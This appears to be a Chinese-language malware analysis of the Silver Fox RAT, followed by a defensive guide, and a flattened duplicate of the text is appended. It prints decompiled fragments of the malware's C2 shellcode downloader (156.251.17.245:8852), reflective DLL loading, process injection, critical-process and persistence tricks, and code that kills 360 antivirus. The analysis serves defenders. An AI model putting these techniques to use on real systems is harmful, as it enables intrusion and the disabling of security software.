【病毒分析】R3强杀360:银狐远控病毒再进化
字数 1515 2025-08-22 12:23:36

银狐远控病毒深度分析与防御指南

1. 病毒概述

银狐病毒(Silver Fox RAT)自2022年起活跃,主要针对中国用户和企事业单位,特别是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,具有高度隐蔽性和破坏性。

1.1 传播方式

  • 钓鱼邮件:伪装为税务、财务相关文件
  • 社交平台恶意链接:通过社交平台分发恶意链接
  • SEO攻击:利用搜索引擎优化使钓鱼网站在搜索结果中排名靠前
  • 恶意广告投放:通过广告网络传播
  • 多次电子邮件钓鱼活动:持续性钓鱼攻击

1.2 主要功能

  • 远程控制受害者设备
  • 数据窃取
  • 反检测机制
  • 强制关闭安全软件(如360安全卫士)
  • 持久化驻留

2. 技术分析

2.1 样本基本信息

  • 文件名:明细查看_Setup.exe
  • 大小:2.67 MB
  • 操作系统:Windows(Vista)[AMD64, 64位, GUI]
  • 模式:32位
  • 类型:EXEC
  • 哈希值
    • MD5: 1a416558435d62dcca79346e6b839370
    • SHA1: 039e938f5af45edc168c6aa6ebe450f2bc7eddd7
    • SHA256: 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea

2.2 执行流程

  1. 初次远程加载shellcode
  2. 二次远程加载shellcode
  3. 反射加载DLL
  4. 执行DLL中的VFPower函数
  5. 远程下载并执行强杀360的exe
  6. 设置自身为系统关键进程
  7. 通过RPC创建计划任务实现持久化
  8. 第三次远程加载shellcode执行远控

2.3 关键技术细节

2.3.1 远程加载shellcode机制

病毒通过多阶段shellcode加载实现功能:

初次加载:

int shellcode_execute_1()
{
  // 省略部分代码...
  if ( dword_6827D0 )
  {
    v1 = *(_DWORD *)dword_6827D0;
    v2 = 0;
    v5 = *(_DWORD *)(dword_6827D0 + 4);
    // 设置异常处理
    v4[2] = (unsigned int)&savedregs;
    v4[1] = (unsigned int)&loc_40508D;
    v4[0] = (unsigned int)NtCurrentTeb()->NtTib.ExceptionList;
    __writefsdword(0, (unsigned int)v4);
    
    // 执行函数数组中的每个函数
    if ( v1 > 0 )
    {
      do {
        v3 = *(void (**)(void))(v5 + 8 * v2++);
        dword_6827D4 = v2;
        if ( v3 )
          v3();
      } while ( v1 > v2 );
    }
    // 恢复异常处理
    result = 0;
    __writefsdword(0, v4[0]);
  }
  return result;
}

二次加载(连接C2服务器156.251.17.245:8852):

int sub_65D174()
{
  // 初始化Winsock
  WSAStartup(514, &v1);
  
  // 创建socket
  v14 = socket(2, 1, 0);
  
  // 设置目标地址和端口
  v11[0] = 2;  // AF_INET
  v11[1] = htons(8852); // 端口
  ip_addr = 0xF511FB9C; // 156.251.17.245
  
  // 连接C2服务器
  connect(v14, v11, 16);
  
  // 接收shellcode
  while ( 1 ) {
    v18 = recv(v14, (char *)v13 + v17, 4096, 0);
    if ( v18 <= 0 )
      break;
    v17 += v18;
  }
  
  // 执行shellcode
  return v13();
}

2.3.2 反射加载DLL技术

病毒使用内存反射加载技术绕过传统DLL加载方式:

  1. 动态获取API地址
// 动态获取VirtualAlloc等关键API
v94 = 0xC000C;
v95 = v106;
((void (__stdcall *)(int, int *, _DWORD, int (__stdcall **)(_DWORD, int, int, int)))ProcedureAddress)(
  v97, &v94, 0, &VirtualAlloc);
  1. PE结构校验
// 检查PE头标志
str_PE = &a1[*((_DWORD *)a1 + 15)];
if ( *(_DWORD *)str_PE != 'EP' ) // "PE\0\0"
  return 0;

// 检查可选头大小
if ( *((_WORD *)str_PE + 2) != 332 )
  return 0;

// 检查DLL特性
v10 = *((_DWORD *)str_PE + 14);
if ( (v10 & 1) != 0 )
  return 0;
  1. 内存加载与执行
// 分配内存并加载DLL
v13 = (int (*)(void))VirtualAlloc(0, 122880, 12288, 64);

// 刷新指令缓存
if ( FlushInstructionCache )
  FlushInstructionCache(-1, 0, 0);

// 执行DLL入口点
return v13();

2.3.3 反检测技术

1. 进程注入技术

// 查找目标进程
v4 = ((int (__stdcall *)(int, _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0);
if ( v4 != -1 ) {
  v5[0] = 556;
  if ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32FirstW)(v4, v5) ) {
    do {
      // 检查是否为360进程
      if ( !((int (__cdecl *)(_BYTE *, int))ucrtbase__wcsicmp)(v6, v2) ) {
        ((void (__stdcall *)(int))kernel32_CloseHandle)(v4);
        return 1;
      }
    } while ( ((int (__stdcall *)(int, _DWORD *))kernel32_Process32NextW)(v4, v5) );
  }
}

2. 设置自身为关键进程

// 提权
RtlAdjustPrivilege(0x14u, 1u, 0, &v31); // SE_DEBUG_PRIVILEGE

// 设置为关键进程
RtlSetProcessIsCritical(1, 0, 0); // 进程被终止会导致系统蓝屏

3. 持久化技术

// 通过RPC创建计划任务
RPC_BINDING_HANDLE sub_10004C70()
{
  // 绑定到计划任务服务
  RpcStringBindingComposeW(0, L"ncacn_np", (RPC_WSTR)L"localhost", L"\\pipe\\atsvc", 0, &StringBinding);
  RpcBindingFromStringBindingW(StringBinding, &Binding);
  
  // 设置认证信息
  SecurityQos.Version = 1;
  SecurityQos.ImpersonationType = 3; // SecurityImpersonation
  SecurityQos.Capabilities = 0;
  SecurityQos.IdentityTracking = 0;
  RpcBindingSetAuthInfoExA(Binding, 0, 6u, 0xAu, 0, 0, &SecurityQos);
  
  return Binding;
}

2.3.4 强杀360技术

1. 进程遍历与终止

// 遍历进程查找360tray.exe
while ( 1 ) {
  if ( !v13(v17, "360tray.exe") ) {
    // 打开进程
    v4 = v11(1i64, 0i64, v16);
    if ( v4 ) {
      // 终止进程
      v12(v4, 0i64);
      v7(v4);
    }
    goto LABEL_13;
  }
  // 检查另一个可能的进程名
  if ( !v13(v17, "360Tray.exe") )
    break;
  if ( !v10(v3, &v15) )
    goto LABEL_13;
}

2. 线程池注入技术

// 创建线程池等待对象
ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64);

// 在目标进程中分配内存
v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u);
WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64);

// 创建事件并关联
EventW = CreateEventW(0i64, 0, 0, L"asdEvent");
ZwAssociateWaitCompletionPacket(*((_QWORD *)ThreadpoolWait + 46), qword_7FF648BE9CB8, EventW, v26, v25);
SetEvent(EventW); // 触发执行

3. 防御措施

3.1 预防措施

  1. 终端防护

    • 部署具有行为检测能力的终端安全软件
    • 启用应用程序控制策略
    • 限制PowerShell等脚本解释器的使用
  2. 网络防护

    • 在网络边界拦截已知C2地址(如156.251.17.245)
    • 监控异常外联行为
    • 实施严格的出站连接控制
  3. 邮件安全

    • 部署高级邮件安全网关
    • 对可疑附件进行沙箱分析
    • 教育用户识别钓鱼邮件

3.2 检测措施

  1. 行为检测指标

    • 进程尝试获取SE_DEBUG_PRIVILEGE权限
    • 异常的内存分配和代码执行模式
    • 进程尝试设置自身为关键进程
    • 异常的线程池注入行为
  2. 日志监控

    # 监控计划任务创建事件
    Get-WinEvent -FilterHashtable @{
      LogName='Security'
      ID='4698'  # 计划任务创建
    } | Where-Object {$_.Properties[8].Value -like "*atsvc*"}
    
    # 监控进程创建事件
    Get-WinEvent -FilterHashtable @{
      LogName='Security'
      ID='4688'  # 新进程创建
    } | Where-Object {$_.Properties[5].Value -like "*360tray.exe*"}
    

3.3 响应措施

  1. 隔离受影响系统

    • 立即断开网络连接
    • 不要关闭系统以避免触发蓝屏
  2. 取证分析

    # 收集进程信息
    Get-Process | Select-Object Id, Name, Path, Company | Export-Csv -Path Processes.csv
    
    # 收集网络连接
    Get-NetTCPConnection | Where-Object {$_.State -eq "Established"} | Export-Csv -Path NetworkConnections.csv
    
    # 收集计划任务
    Get-ScheduledTask | Select-Object TaskName, TaskPath, State, Actions | Export-Csv -Path ScheduledTasks.csv
    
  3. 恢复措施

    • 从备份恢复系统
    • 重置所有凭据
    • 全面扫描所有可写共享

4. 技术总结

银狐远控病毒展现了高级攻击技术的多个方面:

  1. 多阶段加载:通过多级shellcode加载增加分析难度
  2. 反检测技术:使用内存反射加载、关键进程保护和进程注入
  3. 持久化机制:通过RPC创建计划任务实现长期驻留
  4. 对抗安全软件:专门针对360安全卫士等安全产品
  5. 模块化设计:不同功能由不同模块实现,便于更新和扩展

防御此类高级威胁需要纵深防御策略,结合预防、检测和响应措施,并保持安全解决方案的持续更新。

银狐远控病毒深度分析与防御指南 1. 病毒概述 银狐病毒(Silver Fox RAT)自2022年起活跃,主要针对中国用户和企事业单位,特别是财务、管理和专业领域的从业人员。该病毒通过多种攻击手段传播,具有高度隐蔽性和破坏性。 1.1 传播方式 钓鱼邮件 :伪装为税务、财务相关文件 社交平台恶意链接 :通过社交平台分发恶意链接 SEO攻击 :利用搜索引擎优化使钓鱼网站在搜索结果中排名靠前 恶意广告投放 :通过广告网络传播 多次电子邮件钓鱼活动 :持续性钓鱼攻击 1.2 主要功能 远程控制受害者设备 数据窃取 反检测机制 强制关闭安全软件(如360安全卫士) 持久化驻留 2. 技术分析 2.1 样本基本信息 文件名 :明细查看_ Setup.exe 大小 :2.67 MB 操作系统 :Windows(Vista)[ AMD64, 64位, GUI ] 模式 :32位 类型 :EXEC 哈希值 : MD5: 1a416558435d62dcca79346e6b839370 SHA1: 039e938f5af45edc168c6aa6ebe450f2bc7eddd7 SHA256: 035d72733b7ef722b7a8c7f067ff558f04c737cf0231aea54a6567a39ef84aea 2.2 执行流程 初次远程加载shellcode 二次远程加载shellcode 反射加载DLL 执行DLL中的VFPower函数 远程下载并执行强杀360的exe 设置自身为系统关键进程 通过RPC创建计划任务实现持久化 第三次远程加载shellcode执行远控 2.3 关键技术细节 2.3.1 远程加载shellcode机制 病毒通过多阶段shellcode加载实现功能: 初次加载: 二次加载(连接C2服务器156.251.17.245:8852): 2.3.2 反射加载DLL技术 病毒使用内存反射加载技术绕过传统DLL加载方式: 动态获取API地址 : PE结构校验 : 内存加载与执行 : 2.3.3 反检测技术 1. 进程注入技术 : 2. 设置自身为关键进程 : 3. 持久化技术 : 2.3.4 强杀360技术 1. 进程遍历与终止 : 2. 线程池注入技术 : 3. 防御措施 3.1 预防措施 终端防护 : 部署具有行为检测能力的终端安全软件 启用应用程序控制策略 限制PowerShell等脚本解释器的使用 网络防护 : 在网络边界拦截已知C2地址(如156.251.17.245) 监控异常外联行为 实施严格的出站连接控制 邮件安全 : 部署高级邮件安全网关 对可疑附件进行沙箱分析 教育用户识别钓鱼邮件 3.2 检测措施 行为检测指标 : 进程尝试获取SE_ DEBUG_ PRIVILEGE权限 异常的内存分配和代码执行模式 进程尝试设置自身为关键进程 异常的线程池注入行为 日志监控 : 3.3 响应措施 隔离受影响系统 : 立即断开网络连接 不要关闭系统以避免触发蓝屏 取证分析 : 恢复措施 : 从备份恢复系统 重置所有凭据 全面扫描所有可写共享 4. 技术总结 银狐远控病毒展现了高级攻击技术的多个方面: 多阶段加载 :通过多级shellcode加载增加分析难度 反检测技术 :使用内存反射加载、关键进程保护和进程注入 持久化机制 :通过RPC创建计划任务实现长期驻留 对抗安全软件 :专门针对360安全卫士等安全产品 模块化设计 :不同功能由不同模块实现,便于更新和扩展 防御此类高级威胁需要纵深防御策略,结合预防、检测和响应措施,并保持安全解决方案的持续更新。